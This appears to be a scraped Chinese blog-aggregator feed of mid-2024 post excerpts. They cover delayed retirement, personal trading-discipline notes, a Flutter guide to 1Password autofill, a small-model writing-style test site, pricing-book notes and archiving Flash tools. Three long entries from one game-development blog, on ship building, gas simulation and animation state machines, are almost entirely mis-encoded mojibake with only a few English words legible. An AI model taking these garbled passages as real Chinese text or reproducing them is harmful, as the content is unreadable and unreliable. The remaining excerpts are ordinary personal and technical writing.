- 博客 Jason 2024-07-22 22:00:00
延迟退休，并不是工作到 65（到时哪有单位要这么大的工人；50 岁，保安、保姆都当不上），而是延迟到 65 才开始领退休金。
一边是失业潮，一边强制让上班；年轻人没工作、不交保险，拿什么钱给老人发呢。
所以，事实上是，年纪大的、工资高的，慢慢被辞退，没工作、还不到领钱的年纪；同时，工作机会让给便宜的年轻人。
经济未来相当长时间都不会太好，做好心理和实际准备吧。
- 博客 离别歌 2024-07-22 10:00:00
虽然离开中国已经快三年了，但是我现在仍然在用国内时候购买的国行iPhone 12手机。我在《2022年欧洲游记》这篇文章里也提到过，实体sim卡导致我出门旅游很不方便，每次都要提前至少一个月时间在淘宝买到旅游卡，然后海运来新加坡。如果在Shopee上买，时间虽然短一点，但价格会贵很多。
去年10月去印尼bromo火山，我尝试了另一种方案，因为当时在公司申请了一台pixel 4xl测试机，这台...
- 博客 小球飞鱼 2024-07-22 08:00:00好热，好热，好热啊！！
- 博客 bang's blog 2024-07-21 23:34:51经常看见有一些视频生成的模型出来，类型还不太一样，简单学习和调研下这个领域和相关技术的情况。在我所看到的有限的 […]
- 博客 卢昌海的个人主页 2024-07-21 19:19:00站长在 YouTube 频道发布的最新视频
- 博客 见字如面 2024-07-21 16:23:26总而言之，就是有了一个房子。这篇文章讲讲装修过程中重点的花销内容。 众所周知，装修其实是一件非常费心费力的事情，不管你选择与怎样的装修公司或者设计师合作，打算全程不隐身幕后，只在最后交付阶段去 …
- 博客 61's life 2024-07-21 12:21:28220
- 博客 构建我的被动收入 2024-07-21 08:00:00BMPI周记007：经济下行
- 博客 Jiajun的编程随想 2024-07-21 08:00:00《编程语言中的 context 是什么？》最近在看 CSAPP3e，看到讲 context，想起这个概念在学习编程的时候经常遇到，却没有一个准确清晰的定义。随着在工作中逐渐积累，才有一些感觉。准确的来说，context，就是一堆状态(state)。举几个例子来看不同场景下的 context...
- 博客 二丫讲梵 2024-07-21 07:03:04如要阅读全文，点击标题跳转。市面上管理 k8s 多集群的工具非常多，但是真正易于维护，且设计比较优雅好用的并不多，如果你所要管理的集群没有特别多，那么 rancher 是一个不错的选择。我曾在博客写过 rancher 的部署文档，想想那已经是 2019 年的事情了，彼时采取了高可用的部署方案，较为繁琐，且版本已经落后了太多，今天来简明扼要的写一下通过 docker 快速部署 rancher-2.8.5 以及集群接入，和权限管理等问题，让你通过本文，即可把 rancher 部署且投入到生产实践当中。
- 博客 涛叔 2024-07-21 00:00:00224
- 博客 Jason 2024-07-20 22:00:00
这两天看了雷军 2024 发布会，还是挺燃的。
尤其有一点，人到中年、功成名就，还有勇气赌上所有，进入汽车这一全新、更高难度的领域，并且首战告捷，真心佩服（当然，毕竟精力有限，他在介绍汽车之外的产品时，明显不给力、力不从心）。
再想想不被招聘市场欢迎的 35 岁以上的中年人，更有感触。
努力，永远不会晚；但越晚起步，越难、容错空间越小。
人生能有几回搏。抓住中年的尾巴，再博一把。
- 博客 Jason 2024-07-19 22:00:00
不过，我很平静，并不觉得沮丧。
我认真记录每笔交易，交易的理由是什么、持仓时的心态如何、最后为什么平仓。
对比当天的实盘和复盘，差异巨大。眼到手不到，这是目前主要的问题。
没关系，认识到问题就好。这东西就是磨，多练就好。既然打算交易做一辈子，花上一两年、甚至十年来学习，都是值得的。
- 博客 二丫讲梵 2024-07-19 05:52:48如要阅读全文，点击标题跳转。学习周刊-总第168期,redis数据同步工具
- 博客 张鑫旭-鑫空间-鑫生活 2024-07-18 23:31:51
随着Firefox 131也支持了CSS Custom Highlight API，至此，所有现代浏览器下都可以实现无标签的文本内容高亮效果了。 - 博客 Jason 2024-07-18 22:00:00
Trade with Trend and Wait for Reversals.
哇，这句话太好了。
- 博客 格物致知 2024-07-17 09:47:00今天一上班打开电脑就遇到终端无法使用的情况，一脸懵，所以就手忙脚乱地查找资料来解决了。
- 博客 云风的 BLOG 2024-07-16 16:35:58
�����ǹ�����ȱ������Ե���綼�д����� mod ������ͨ�������Ϸ���ƣ��ѱ�����Ϸ�������ȫ���鲻ͬ����Ϸ����Щ����� mod ��������һ������ɵġ������Ҿ��ã���Ȼ��Ϸ������淨�������������飬����ʵ�������ܹ������������ң�һ���淨�����⣬Ҳ�����ġ�
�ҵ���Ϸ�����ƻ��������һЩ�ײ����ϵͳ���ٿ���������Ϸ��ȫò��û���ϲ��淨֧�ţ����еײ�ϵͳ������һ���ѵ���ζ��������Ϊ��������ƺͿ���������Ҫ��һ����
�ڽ�һ��ʵ�� demo ֮ǰ���������һ�·ɴ��Ľ���ϵͳ��
��Ϸ�����е����ʷ�Ϊ���֣������������ԭ�ϡ�
�ڷ��ڳ����У��ɴ������ǽ�����ǽ�塢�š��������Ҿ���Щ���ڽ�����һ���������Ͳ��������ƶ�λ�á���������������ɣ���ٽ����� 100% ����������������ǿ���ġ�
�������ԭ���ڻ����кϳɳ������ⲿ�ֺ����ǹ�����ͬ������һ����������ĺϳ��䷽�����磬������Ժϳ���˿������˿����һ�����ڱ������ķ��������Ժͽ�����ͬ���ӹ����������һ��������Ĺ��̡�
�ɴ��������������ı������ɡ�ÿ��������Զֻ������һ�����ʣ�Ҫô�ǽ�����һ���֣�Ҫô��һ���������ԭ����ֱ�Ӵ����ڳ������У����DZ��������������������˶�������������
���˿����ڳ�����Ĺ������ƶ�������֮�䲻���赲��û�н����ĸ���Ȼ��Ϊ���������ֽ�����ռ�ݳ�����Ϊ�ϰ����Щ��������ռ�ݵIJ��ֳ�������Ϊ�����������š�
ÿ�������ͬһ����������һ�ѵ����ޣ�����������������ͬһ���ڡ���Щ����ӵ��������������ͳ�������ͬ�����������ڳ����У�ֻ�����ڽ������ˣ������������Դ��ԭ�ϡ�
ÿ�ν��轨����ʱ��
- ����ռ��������ա�
- ���������������ռ�õij������ϡ�
- �����ڽ�����ռ��Ľ����ڽ�λ��ÿ�������� 8 �������ڽ�λ��������
- ���˱���ͨ�������ӽ�������ͼ�������ڹ�����ֻ�����ĸ��ڽ����ƶ���
ע���ɶ���������ɵĽ�������ռ�������������ڵ���������ࡣ���仰˵�����һ������ 1x1 ���С������ֻ������һ��������ɡ�
������ʱ��Ҳ��Ҫ����վ�ڽ�����ռ��Ľ����ڽ�λ������������ж����ȫ���������������ռ�յء�
��Щ�������в�ֻһ���������������ܣ����ཨ������չ����������������������ж���ֽ����������ſ����������ܽ����ж���ڡ�һ�������������ڵ���Ʒ�Ͳ���ȡ����
�ӹ�����ͨ�����м������������ڱ���ԭ�ϺͲ�Ʒ��
���˿����ڳ������ƶ����������ϴ���һ�������������ڽ��轨���Ͱ�װ����������һ������Ľ����������ڹ����ж���֮�⣬������ߺܵ������ǿ��Ժͽ���ͬ��������ж����ص��������ڣ����ǽ��빤�����ϵ������С�
��Ϸ�Ľ��貿�ֻ��������ǹ����ͱ�Ե����Ļ���塣�����ǹ�����ͬ��������Ҫ��������͵��������ϣ����ɹ������Ĺ�ʱ����һ���ã��������ڳ������ƶ�λ�ã������������ж������ӹ��ֱȽ������ǹ����ļӹ����ƣ��ɺϳ��䷽�������������̡����ֲ�����ԭ��ֱ�ӷ��ڵذ��ϡ�
�ҵ����˼·�ǣ���Ϸ��Ķ�����������ÿ����������һ���Ӿ��Ͽɼ��Ķ����������DZ����ϵ�һ�����֡��Զ�������Ҫ����ȱ���������ɹ��˵Ĺ���ϵͳ������ɡ����ų�������ϴ��ʹ����Զ�װж���������ܰѴ��ʹ����ƺ�����ܵ��ϲ���ͬһ���ƣ�����ȱ������
- 博客 西秦公子 2024-07-14 21:54:04我最近在用 Youtube 看《喜人奇妙夜》（毕竟 Youtube 上有纯享版，体验太好了）。同时，为了方便我 […]
- 博客 卢昌海的个人主页 2024-07-12 07:57:00站长在东京所摄相片的第二部分
- 博客 二丫讲梵 2024-07-12 05:34:48如要阅读全文，点击标题跳转。学习周刊-总第167期,开源的录屏软件
- 博客 61's life 2024-07-11 22:48:15235
- 博客 61's life 2024-07-10 23:00:37236
- 博客 Jason 2024-07-10 22:00:00
一个矿工失业在家。
冬天很冷，女儿问他为什么不烧煤取暖。
矿工说：没钱买煤。
女儿又问：为什么会失业？
矿工说：因为大家都不买煤。
- 博客 云风的 BLOG 2024-07-10 10:50:27
����Ʒɴ��������Ϸʱ��������һ������������ģ��ϵͳ��������һ�������ķ�������֪���ò��ã��ȼ�¼һ�£�
- �ռ����ɶ�ά�������θ��ӹ��ɵģ���Щ������ǽ�����ֹ����������ÿ���������¶����Լ����������ļ�¼����ͬ�������ͬʱ������ͬһ���ڣ�����������¼���¶ȴ���ϵͳ������ơ�
- ÿ����Ϸ tick ��ÿ��������һ�ζ������㣬�����¶�ֵ����һ�����ʣ�������ʾ����˸ø���������Χ��չ�ı�����
- �¶�Խ�ߣ�Խ���ܽ��������������ƽ����ɢ������ڽӵ� 8 ��ռ䡣
- ��������Ϊ��ǽ�����¿ռ�仯ʱ���Ѹø�������ȫ����ɢ���ٽӸ����������������ʱ������������ǽ���ڣ�������ʧ���ȴ��Ժ���������������ɢ��ȥ��
ΪʲôҪ�����ڸ��Ӷ����ǻ��ڲ��ҵĿ���ģ�⣿���磬 FTL ��������ѹģ����ǻ��ڷ���ġ�
��Ϊ�����ģ����Ҫ�����Ϸ���������淨����Ҫ��Ԥ��֮�������բ�գ�����ҵ��趨����Ҫ��һ�����۵Ŀ�������ģ�⣬�ĸ����ռ�����ѹ����ֵ�Dz����ġ��� FTL ��ͬ����ϣ����һ�����ؽ��������Ϸ�����ҵĽṹ�Ƕ�̬�ģ������Է���Ϊ��λ���㡣
Ŀǰ����������ģ�����Ϸ�У���������ȱ����Ϊʲô��ֱ��ʹ��ȱ����ģ��ϵͳ?
ȱ���Ļ��������ǣ�ÿ������ֻ����һ�����ʣ��������ʿ�������̬����̬��Һ̬����̬�����ʻ���Ϊ�¶ȷ�����̬ת������ͬ��̬���������ڲ�ͬ�Ķ�����ÿһ���ܻ�װ����������£������ֱ����ʧ�����������ڴӸ�ѹ�������ٽ��ĵ�ѹ��������Ӱ�������˶���
ȱ��������ϵͳ�Ǻ�������Ϸϵͳ���ϵģ���ֲ����Ҫ�ڲ�ͬ�����廷����������С�˻�Ի��������������ж�����������Ӧ����Щ�淨��Ӧ�ò������������ǣ��ҵ���Ϸ��ͼ��ƽ��ģ���ȱ����ͬ��û������֮�֣����Բ��������������ֲ㡣
����ȱ����˵�����ĺ����淨֮һ�������������Ȼ�ռ䡣�������չ�ռ�ʱ�����뿼��ԭ�пռ�Ļ������������趨�����������淨��������ʱ�������ҵ���Ϸ�������Щ������Ҫ������ģ������ϵ��淨��Ҫ�ǣ����ݻ�����ѹӰ�������ֲ���״̬��
��ϣ��ģ��ϵͳ��ȷ������ֱ����
��ÿ�����ӿ��Ե������㣬���漰���ӵĹ�ʽ��
ֱ�ۣ������ܷ�����ҵ�Ԥ�ڡ����磬�����Ӹ�����������������Ӹ���ѹ���������ѹ����ֱ��ƽ�⡣��������л���һ�㶾����Ҳ�Ỻ������ʱ����չ��ϡ�͡�
ȷ�������Ͽ��Ա�֤��������Ϊģ�����������������������ı任��
���滹��һЩ���淨�ij����뷨����δ����ϸ�ڣ�
- �ɴ�����Ҫ������������������ֻ��ͨ���ܵ��������豸���ӣ���ֱ�����ŷ����塣
- ������Ҫͨ���ض��豸����ͨ��ܵ���ͨ��ܵ���Ҫͨ�����������ŷš�
- �����пɲ���һЩ�������ֹ�Ӧ�㣬�����ɹܵ�������
- ��ɫ����Я��һ���������֣���������ѹ����ֵ�����仯ʱ�Զ����ϻ�ȡ�¡�����������Ϻ��Զ�Ѱ���ٽ������ָ�����
- 博客 61's life 2024-07-09 22:28:36239
- 博客 Jason 2024-07-09 22:00:00
AI 是工具，可以帮助人提高效率。
问题是，很多人也是工具。
- 博客 Jason 2024-07-08 22:00:00
趋势中的回调，容易拿不住被甩下车，再上车可能有困难。
如果有加仓的思维，那遇到回调，脑子里想的可能是等回调多信号，就不那么容易提前平仓。
最好是浮盈加仓。如果浮亏，说明自己对行情的预判可能是错的；错了就要认，就是要止损，而不是加仓。
有加仓的思维，并不一定真的操作。加仓会放大风险，可能盈利更多，也可能亏损更多。对自己的操作更有信心、过往成功次数多时，才慢慢真的加仓。
- 博客 构建我的被动收入 2024-07-08 08:00:00BMPI周记006：时光机
- 博客 西秦公子 2024-07-08 00:26:20在 X 上看到小橘子的这个信息，我觉得可以给一些我自己的输入。 从我自己的视角来看：如果你还愿意在这家公司工作 […]
- 博客 Jason 2024-07-07 22:00:00
家里水管坏了，找了师傅来修。
修是修好了，可因为师傅干活的时候手很脏，有油污之类的。
活干完了，我还得花很长时间清洁表面。
干活期间，我提醒师傅几次，去洗个手再干活，没用。
哎，这就是缺乏服务意识吧。
- 博客 bang's blog 2024-07-07 20:55:45Transformer 作为新 AI 时代的基石，有必要深入了解下。网上对 Transformer 的教学文章 […]
- 博客 卢昌海的个人主页 2024-07-07 08:43:00站长 2024.06 发布的微博文字选录
- 博客 涛叔 2024-07-07 00:00:00247
- 博客 61's life 2024-07-06 23:34:06248
- 博客 Jason 2024-07-06 22:00:00
比如，价格深度回调、但又没有破位。可以提前平仓、保护利润，也可以坚守止损。
前者灵活，但要求更高。毕竟，没了仓位，要考虑什么时候重新开仓。后者就简单很多。
没有金刚钻，不拦瓷器活。入门者，最好采用少而简单的操作。像郭靖一样，就傻乎乎地、重复地练那几招，同样能成高手。
- 博客 卢昌海的个人主页 2024-07-06 20:23:00站长在 YouTube 频道发布的视频
- 博客 涛叔 2024-07-06 00:00:00251
- 博客 61's life 2024-07-05 22:49:44252
- 博客 Jason 2024-07-05 22:00:00
刚开仓时，要求严一些。当开仓条件不友好、不成立时，先出来再说。后面如果走好，还可以二次进场。
当行情走出来、脱离成本区后，要求放宽松，守前高前低平仓。
当行情发展一段时间、尤其临近收盘时，要求重新变严，保护利润。
- 博客 二丫讲梵 2024-07-05 06:34:49如要阅读全文，点击标题跳转。学习周刊-总第166期,一个基于 vue 和 goframe 2.0 开发的全栈前后端分离的开发基础平台和移动应用平台
- 博客 Jason 2024-07-04 22:00:00
如果错过了突破行情，不要慌、不要着急。
可以轻仓立即入场。
可以等回调，尤其 50%。
可以等回调后再次突破。
知道的方法多了，心里就不慌了。
- 博客 61's life 2024-07-03 23:20:07256
- 博客 云风的 BLOG 2024-07-02 14:38:37
Ant ����Ľ�ɫ����ϵͳ����Ҫ���ơ�
֮ǰ������ Ant ���濪������Ϸ�Ի�еװ��Ϊ�������Բ�����Ҫ���ͽ�ɫ���������������ɫ�����Ķ������ƣ�����и��������֧�֡�
ͨ������ɫ���ϵ����ԺͶ������ִ���һ��ӳ���ϵ��һ����ɫ�������ϵĻ������Կ���ֻ���ڿռ��е����ꡣ���DZ�д���������ʱ��ֻ��������������ǣ������������ʱ������Ҫ���ݿռ�������������ԣ�ת��Ϊ�������ţ������ɫ��ֹ�������Ͳ��� idle ��������������˶����Ͳ��� walk ������
������ײ㣬ÿֻ֡ͨ��������������������ɫ�ò����ĸ������Լ��������ţ���Ϣ�Dz����ġ�ͨ������Ҫ��Ϲ�ȥʱ�����ϵ�״̬�仯���������ǰ״̬������ͨ�����������������Ե���ϣ��õ�������Ҫ����Ϣ��
���磬����ͨ���ռ�����ı仯���̼�����ٶȣ������Ƿ���ս��״̬�����Ǿ����ж����������ж�����
���ִ����������ݵ����������ݵ�ӳ���ϵ��һ��ʹ��״̬����ʵ�֡�Unity �ĵ��Դ���һ���ܺõ�������ͨ�����״̬�����������ɶ���ϵͳ�ײ�ÿ֡��Ҫ�����ݣ���������ֻ��Ҫ�������ϵĻ������Լ��ɡ�
����ϵͳ�ײ㿴������ Entity ��ǰ״̬�����ڶ�����Ⱦ�Ļ������ݣ�һ������Ƭ�εĵ�ǰ֡�����Ǽ�������Ƭ�εļ�Ȩ��ϡ���״̬��ֻ�����е�ǰ֡�ĵ�ǰ״̬������ת����ȥ�ӹ���Щ�����������롣
��Ϊ״̬����Զ���ڵ�һ״̬�������ڶ�����˵����һ��״̬����һ��״̬ͨ����һ�����ֹ��̣����ԣ�״̬���е�״̬�ͱ����ϵ�״̬��������ġ�Unity ���������ֿ���idle ��walk ���ֽ� state ���� idle �� walk �Ĺ����ڽ� state transition ����״̬����ʵ�ֽǶȿ�����ʵ���Ƕ���״̬���Ľڵ� node ��
���ڷ�֡������˵������ state ʱ��ͨ��ֻ��һ������Ƭ�Σ��� state transition �Σ���Ϊ�����ӵ����� state �Ķ���Ƭ�εĻ�ϡ�state ���Դ����ض�����Ϊ behaviour �������߿���Χ��ÿ���ض��� state ����д������ state transition ͨ���ɼ����������ƣ��Կ����������ġ�
����״̬���� transition �Ͷ��������ϵĶ������Ƭ�λ�ϣ��Dz�ͬ������������
����·���ܲ��Ĺ��ɽο���ֱ���л��������õĶ���Ƭ�Σ������֡����������Ƭ��������֡���ɣ�ͨ�����������ν���һ���Ƭ�Σ�ÿ��Ƭ�ε����һ֡���Ժ͵�һ֡�ν���һ�𣬱�֤ѭ�����ţ���ͬ����Ƭ�εĵ�һ֡����ͬ�ģ�����Ƭ�μ��л�����ô��״̬���� transition Ҫ���Ĺ���һ���ǣ�������һ��״̬�Ķ���Ƭ�����в��ŵ����һ֡������˳���л�����һ��״̬��
����·���ȵ��ܲ�Ϊ����״̬���ڸ���ʱ�����������·״̬��һ�������ƶ��ٶȳ����ܲ�����ֵ���Ϳ����л��� walk to run ��� transition ��������µ� node �У�״̬�������������·��֡����Ƭ���ṩ�������ײ㣬ֱ��һ��Ƭ�����ڽ�����Ȼ���л��� run ����� state ���µ� state ��ʹ���ܲ��Ķ���Ƭ�δ�ͷ���š�
���ڹ����������������ܵ�һ����Ƭ�ε����ơ������Խ��������Ƭ�λ����һ���� transition �У�������֡�����������Ƭ�εĻ��Ȩ�ء�
���������˶������ö������Ƭ�λ�ϣ�������һƪ���� ���˷dz���ϸ�Ľ��͡�
����Ǽ����鶯����ϣ������˶��������·���ܲ��Ĺ��ȣ�ʹ��һά�Ļ�ϼ��ɡ�������ǰһ������Ƭ�ε�Ȩ�أ�ͬʱ����Ŀ�궯����Ȩ�ء�
�����Ҫ�����������ƶ�������ת������Ҫ��ά�IJ�ֵ��ͨ��ʹ�� Gradient Band Interpolation ������Ҫ�����ٶȱ仯ʱ���Ѳ�ֵ���ڼ�����ϵ��Ч�����á���Ȼ����Ҫ O(n2) ���㷨���Ӷȣ���ͨ��һ��Ԥ����ı����Ϳ��Լ��ٵ�����ʱ�䡣
btw, ��ʹ���� state �У�Ҳ�����õ������Ļ�ϡ����磬������·�Ľ�ɫ��������·�Ľ�ɫ���ֲ�һ����������·�Ķ����������ɸ��˶��������߶������ӻ�϶�����
- 博客 61's life 2024-06-30 23:34:27258
- 博客 bang's blog 2024-06-29 13:05:50LUI 交互 LUI (Language User Interface，自然语言 or 输入框为主的交互) 有 […]
- 博客 61's life 2024-06-28 22:00:16260
- 博客 二丫讲梵 2024-06-28 04:45:44如要阅读全文，点击标题跳转。学习周刊-总第165期,一个特性管理平台与sqlite管理项目
- 博客 61's life 2024-06-27 17:29:04262
- 博客 oldj's blog 2024-06-27 14:34:00
最近在开发 Flutter 项目，其中 iOS 版 App 账号登录时，需要适配 1Password 等密码管理器，即需要告诉 1Password 等密码管理器当前 App 的登录特征信息（域名），以及应该填写界面上的哪些表单项。在这儿记录一下要点。
基本设置
我们首先要处理的，是让 App 和某个域名（通常是官网域名）关联，这样在 App 中唤起 1Password 填写密码时，1Password 才知道应该显示哪些账号。
这儿主要有三个步骤。
Apple 开发者后台设置
在 Apple 开发者后台的 Certificates, Identifiers & Profiles 页面，记得要选中 Associated Domains 选项，如下图所示：
Xcode 中的设置
接下来，要在 Xcode 中为你的 App 添加关联域名，如下图所示：
在 Domains 那一栏，添加
webcredentials:你的域名即可，比如你的域名是 test.com，那么添加webcredentials:test.com就行。网站设置
最后，还需要在你的域名对应的网站上添加一个认证文件，证明指定 App 确实和当前域名相关。这个文件的文件名固定为
apple-app-site-association，可以放在网站的根目录，或者.well-known目录下，确保可以通过网络访问到。这个文件的用途很多，可能还会包含一些其他字段，和密码管理器相关的主要是以下内容：
{ "webcredentials": { "apps": [ "TeamId.BundleId" ] } }确保你的
apple-app-site-association文件包含webcredentials字段，并将其中 apps 中的 TeamId、BundleId 换成你的真实 ID。Flutter 中的设置
为了得到更好的登录体验，Flutter 中也要做一些设置，主要是告诉 1Password 等密码管理器需要填写哪些字段，以及各个字段分别对应什么内容。
关键代码如下：
@override Widget build(BuildContext context) { // ... return Container( body: Center( child: AutofillGroup( child: Column( children: [ TextField( autofillHints: const [AutofillHints.email], decoration: InputDecoration( labelText: 'Email', ), ), TextField( autofillHints: const [AutofillHints.password], decoration: InputDecoration( labelText: 'Password', ), ), ElevatedButton( onPressed: () { // Submit the form }, child: Text('Submit'), ), ], ), ), ), ); }其中最关键的有两处，一是需要自动填写的表单部分，需要用
AutofillGroup组件包起来，这样 1Password 就知道哪些字段是需要自动填写的。二是 Email、用户名、密码等需要填写的字段，需要添加autofillHints属性，比如autofillHints: const [AutofillHints.email]，这样 1Password 才知道当前字段应该填什么内容。完成这些设置之后，App 登录时就应该能正常适配 1Password 了。
- 博客 卢昌海的个人主页 2024-06-26 20:14:00站长在 YouTube 频道发布的视频
- 博客 Tinyfool的中文Blog 2024-06-26 11:55:17
前两天苹果的 WWDC 2024结束，每次苹果召开 WWDC 都是苹果平台开发者的节日。听完 Keynote， […]
- 博客 王登科-DK博客 2024-06-26 09:13:02过去 2 周，在 AI 技术圈极少有人知晓的情况下，一个叫做「文风测试」的小网站已经红透了半个社交网络。
文风测试是一个非常简单的网站，你复制你写的文字进去，然后它告诉你，你的写作风格接近哪些作家。
大概 2 周前，我在小红书上发现了有人在介绍文风测试，然后迅速被其效果和风格吸引，但是当我试图打开网站的时候却发现，这个网站打不开，页面显示 502，502 错误往往代表网站不堪重负，也从另一个侧面提示了我，这个网站可能正在承接大量的流量。
我的兴趣更大了，反复刷新依然打不开之后，于是我尝试直接通过 Google 缓存的网页来打开，并终于看到了网站的样子，通过 Google 缓存的网页，我找到了开发者的联系方式，并有点冒昧的直接添加了对方，此时已经是深夜十一点。
和开发者之一的 Ankie 聊了几句之后，我们就直接通了电话，后来另一位全栈工程师也加入了，我们聊了大约 1 个小时，一方面我为这个「全女生」团队的创意，纯粹和执行力感到敬佩，另一方面则对她们互联网产品的基础技术能力之低感到难以置信，但这并不妨碍这个小产品在接下来的好几天里成为多个社交平台的「AI顶流」。
文风测试共有三位主创，其中一位负责模型和算法，另一位则负责前后端全栈，此外还有一位设计师。全栈工程师的专业其实是政治经济，出于兴趣刚刚开始自学网页开发，因此，在网页里能看到很多「上古元素」，例如直接向当前页面发请求，没有任何统计代码，没有前后端分离等等，只需要右键查看网页元素，就能梦回 20 年前。
负责算法和模型的 Ankie 还在上学，学习的正是 AI 方向，因此，和很多人想的不一样，文风测试并没有使用任何大模型，而是 Ankie自己训练的一个小模型，模型小到可以在 CPU 上运行，这其实才是对的——在大模型淹没一起的今天，我们似乎已经忘记了，其实很多场景根本没必要用大模型。事实上，用大模型来做风格鉴定这件事，反而效果极差。
另一个 Ankie 决定使用自己的小模型的原因是，她看到之前有人做大模型哄对象的应用，然后其开发者说亏了几千美金，这人是谁我就不提了，总之 Ankie 很好的吸取了经验教训，使得文风测试能够一直以极低的成本运行。
除了在技术上提供一些小帮助外，我还试图积极的帮 Ankie 在如何赚钱或者商业化上出谋划策，但我很快被她们的纯粹打动了，她们真的不想获得什么商业上的回报，和哄哄类似，这是一个完全由兴趣驱动，并只为兴趣服务的小工具。
过去 2 周，总共有近百万人使用了文风测试来测试他们自己的文风（考虑到在我告诉她们得加 Google analytics 之前，流量都甚至没统计过，实际人数可能更多），其背后的模型则依靠 4 台 CPU 服务器来提供服务，在极致的性能压榨下，总共的成本不到 500 元。
在和 Ankie 的交流中，我了解到使用文风测试的绝大部分是二次元圈子里的用户，并因此和许多用户产生沟通，聊着聊着，我就聊出了一个小需求：oc 分析。
不在二次元圈子里，可能完全不知道 oc 是什么意思，oc 本意是自创角色 (Original Character)，许多二次元心中都会在心里创建一个理想的角色，这个角色可能脱胎于看过的动漫作品，也可能是完全自己「捏」的，角色会有自己的设定，偏好，外貌，经历的事件，这一切都是用户设定的。
我知道对于像我这样的「大人」来说，oc 听上去就像是某一种过家家，但其实我从来没有忘记二十年前的那个下午，我和邻居小孩走在放学的路上，边走边聊，我自称旋风战士，他管自己叫墩墩侠，我们时而在城楼并肩作战，时而从云端跃入一段异世界的红尘往事，夕阳照在我们身上，是两个小学生的屁颠颠的背影。
oc 对很多年纪不大的喜欢二次元的人们来说，是一个自然甚至必然的爱好，因为这群人就是有许多想象力，许多创造力，而这个世界又不那么能满足。
当 oc 被创建出来之后，人们自然希望能够和其发生更多连接，因此，聊天，将其转成图片，都成了「搞oc」的方式，也因此诞生了许多相关的产品。
我的 idea 很简单，类似于文风测试，用户可以输入自己的 oc 设定，然后看到最接近的动漫角色是谁。
这个产品简单到不可思议，如果说哄哄模拟器还有一点开发量的话，这样一个简单的测试小工具，几乎就是一个两三个小时能做完的事情，所以我在想到 idea 后，迅速花了2个小时的午休时间进行开发，然后在下午就上线了。
上线之后，我和 Ankie 聊了一下，她觉得很有意思，于是帮我转给了她的朋友以及文风测试的一些用户，没想到 oc 成分测试迅速在二次元群体中传播开了，相关的帖子在2小时内得到了 3000 个转发，而从我这里，最直观的感受就是看到流量飞速上涨。
从晚上10点开始，流量每隔半个小时就翻一倍，到凌晨 1 点，网站的即时在线人数已经突破了 1.5 万人，我不知道这群人是不是不睡觉，但是我此时已经困的不行，最后看了一眼数据就倒床入睡了。
第二天流量达到高峰，单日 20 万人来此一游，随后的一周，流量逐渐降低，并回落到 1万左右的 DAU
oc 成分测试既是一个小玩具，又给我们团队的产品进行精准的导流，这部分效果好到不可思议，过去一周，oc 成分测试大约有 30 万人访问，给我们带来了数万 app 下载的转化。
当然，和哄哄模拟器一样，oc 测试和文风测试都有自己的生命周期，称之为「一波流」也并无不可，但在这两个小产品上，我觉得结果都很圆满，文风测试用小模型反过来替代大模型，从而实现成本的绝对优势，主创团队「写论文，练代码」的愿望也超出预期的达成了。oc成分测试是我关于流量的一次实验，它验证了我们团队对一个新的用户群体的理解，从更实际的角度，它也实现了极高效的结果转化——算上大模型的成本，每个 app 安装成本也仅为 2 毛钱。
过去半年，不断有比较单一的 AI 内容产品上线，但在我看来，它们更像是某种模型厂的 KPI 产物——没有从真实的需求出发（哪怕这个需求是有趣），也没有真正的给到目标受众，大多数时候，这些产品只会在几个 AI 交流群中流转。
这种现象过多，加之哄哄模拟器其实也没有什么确定的结果（除了开了一个好头之外），导致我一度对于这种「一波流」充满怀疑。直到现在，我想我终于看到了一些新的，不一样的可能性。
我依稀感觉到，AI 提供核心能力的内容（产品），哪怕是单一形态或一波流，在非 AI 或互联网圈里成为爆款，也是足以完成很多目标的，而这可能是有方法论，可以被复现的。
对踌躇满志的2C AI 创业者来说，这或许不是最终目的本身，但路能行至此，我觉得也算是有所收获。 - 博客 太隐 2024-06-25 11:11:20267
- 博客 Skywind Inside 2024-06-25 00:00:00
前段时间碰到个经典的 Flash 游戏想玩一下，发现原网站挂了而游戏又需要验证原网站，于是想对其稍加修改，才发现原来可以下载 Flash 相关开发工具的页面已经全停了： 所有 Adobe 官网可以下载 flash 插件，播放器，SDK，Flash Builder 之类的地方，全被替换成了上面的页面，也就是说今天 2024 年你已经无法从官方渠道再获得一套完整的 Flash 开发环境了，而其他网站但凡提及这些资源的，都是指向了官方地址，也都会被重定向到上面的内容。 于是我想，趁着现在部分网络资源还未失效，以及我老电脑里还有一些资料，是时候对整套 Flash 开发环境进行一次整理和快照了，避免将来有一天想编译一下老项目出现尴尬。 本光碟包含 Flash 全胜时期的完整开发环境，包含 Flex 各版本 SDK，AIR 运行时和 SDK，各版本播放器，相关工具，以及经典轻量级 IDE – FlashDevelop： 虽然 Flash 官配 IDE 是 Flash Builder，但懂行的都知道，那玩意儿臃肿庞大不说，项目稍微一大点，就会卡到没法用，所以真的动手，大都会使用更加小巧流畅的 FlashDevelop。 （点击 more/continue … Continue reading →
The post CD3：Flash 开发宝典 appeared first on Skywind Inside.
- 博客 61's life 2024-06-23 23:43:13269
- 博客 唐巧的博客 2024-06-23 22:32:48
最近读完了一本叫《定价制胜》的新书，作者是赫尔曼·西蒙。该作者创办了一家咨询公司，在全球提供定价咨询服务。截止 2021 西蒙咨询年营业额 5 亿美元，拥有员工 1700 人。
以下是我的读书心得。
一、德国铁路的定价咨询
作者接到了德国铁路公司的咨询需求。当时的困境是：铁路的票价高于自己开车的油费，当时铁路每公里的费用约为 0.16 美元，但是开车的每公里费用约为 0.1 美元。所以，大部分人从经济角度选择开车出行。
西蒙的解决方案是将火车出行的成本拆分为固定成本和可变成本两部分。西蒙让铁路公司推出 BahnCard 50 优惠卡，售价为 140 美元一年，拥有优惠卡的用户可以以 5 折购买车票。
这样，每公里火车的可变成本变成了 0.08 美元，低于开车出行的 0.1 美元。最终，该优惠卡每年卖出 400 多万张。
该方案类似于京东 PLUS，天猫 VIP88。用一次性的付费将用户之后每次的购买成本降低，带动用户更多消费。
二、凡勃伦效应
美国经济学和社会学家凡勃伦在他的著作《有闲阶级论》中揭示了价格是身份和社会威望的标志，为消费者提供了社会心理层面的效用。这又被称为“凡勃伦效应”。
具备这类特征的一些奢侈品，在一定范围内，会出现价格越高销量越好的情况。这样的案例有很多，比如爱马仕的包，保时捷，以及一些高档手表，茅台酒等。
对于这类商品，找准自己的需求曲线，不要定价过低才可能有比较好的销量和利润。
三、品质效应
大部分消费者都认为：便宜无好货家，一分钱一分货。所以，较高的价格以及与其匹配的品质，可以给到消费者安全感。
